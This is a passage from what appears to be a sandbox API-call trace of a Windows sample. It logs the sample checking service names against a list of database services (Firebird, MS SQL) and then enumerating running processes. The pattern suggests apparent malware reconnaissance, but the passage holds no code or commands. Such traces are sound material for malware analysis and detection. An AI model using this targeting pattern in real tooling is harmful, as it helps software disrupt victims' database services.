(lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.548] lstrlenW (lpString="NcbService") returned 10 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0166.548] lstrlenW (lpString="netprofm") returned 8 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.548] lstrlenW (lpString="NlaSvc") returned 6 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.548] lstrlenW (lpString="nsi") returned 3 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.548] lstrlenW (lpString="PcaSvc") returned 6 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.548] lstrlenW (lpString="PlugPlay") returned 8 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.548] lstrlenW (lpString="Power") returned 5 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.548] lstrlenW (lpString="ProfSvc") returned 7 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.548] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.548] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.548] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.549] lstrlenW (lpString="RpcSs") returned 5 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.549] lstrlenW (lpString="SamSs") returned 5 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.549] lstrlenW (lpString="Schedule") returned 8 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.549] lstrlenW (lpString="SecurityHealthService") returned 21 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0166.549] lstrlenW (lpString="SENS") returned 4 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.549] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.549] lstrlenW (lpString="sppsvc") returned 6 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0166.549] lstrlenW (lpString="SSDPSRV") returned 7 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0166.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0166.549] lstrlenW (lpString="StateRepository") returned 15 [0166.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0166.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0166.549] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0166.549] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0166.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0166.550] lstrlenW (lpString="SysMain") returned 7 [0166.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.550] lstrlenW (lpString="SystemEventsBroker") returned 18 [0166.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0166.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0166.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0166.550] lstrlenW (lpString="Themes") returned 6 [0166.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0166.554] Process32FirstW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.555] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.555] lstrlenW (lpString="System") returned 6 [0166.555] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.556] lstrlenW (lpString="smss.exe") returned 8 [0166.556] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.556] lstrlenW (lpString="csrss.exe") returned 9 [0166.556] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.556] lstrlenW (lpString="wininit.exe") returned 11 [0166.557] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.557] lstrlenW (lpString="csrss.exe") returned 9 [0166.557] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.557] lstrlenW (lpString="winlogon.exe") returned 12 [0166.557] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.558] lstrlenW (lpString="services.exe") returned 12 [0166.558] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.558] lstrlenW (lpString="lsass.exe") returned 9 [0166.558] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.559] lstrlenW (lpString="svchost.exe") returned 11 [0166.559] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.559] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.559] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.559] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.560] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.560] lstrlenW (lpString="svchost.exe") returned 11 [0166.560] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.560] lstrlenW (lpString="dwm.exe") returned 7 [0166.560] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.561] lstrlenW (lpString="svchost.exe") returned 11 [0166.561] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.561] lstrlenW (lpString="svchost.exe") returned 11 [0166.561] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.562] lstrlenW (lpString="svchost.exe") returned 11 [0166.562] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.562] lstrlenW (lpString="svchost.exe") returned 11 [0166.562] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.563] lstrlenW (lpString="svchost.exe") returned 11 [0166.563] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.563] lstrlenW (lpString="svchost.exe") returned 11 [0166.563] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.563] lstrlenW (lpString="svchost.exe") returned 11 [0166.563] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.564] lstrlenW (lpString="svchost.exe") returned 11 [0166.564] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.564] lstrlenW (lpString="svchost.exe") returned 11 [0166.564] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.565] lstrlenW (lpString="svchost.exe") returned 11 [0166.565] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.565] lstrlenW (lpString="svchost.exe") returned 11 [0166.565] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.566] lstrlenW (lpString="audiodg.exe") returned 11 [0166.566] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0166.566] lstrlenW (lpString="sihost.exe") returned 10 [0166.566] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.566] lstrlenW (lpString="svchost.exe") returned 11 [0166.566] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.567] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.567] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.567] lstrlenW (lpString="explorer.exe") returned 12 [0166.567] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0166.568] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0166.568] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0166.568] lstrlenW (lpString="Memory Compression") returned 18 [0166.568] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0166.568] lstrlenW (lpString="SearchUI.exe") returned 12 [0166.569] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0166.569] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0166.569] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0166.569] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0166.569] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.570] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.570] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0166.570] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0166.570] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0166.571] lstrlenW (lpString="migration dying locations.exe") returned 29 [0166.571] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0166.571] lstrlenW (lpString="college-advance.exe") returned 19 [0166.571] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0166.571] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0166.572] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0166.572] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0166.572] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0166.572] lstrlenW (lpString="metallic.exe") returned 12 [0166.572] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0166.573] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0166.573] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0166.573] lstrlenW (lpString="brown parade bases.exe") returned 22 [0166.573] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, 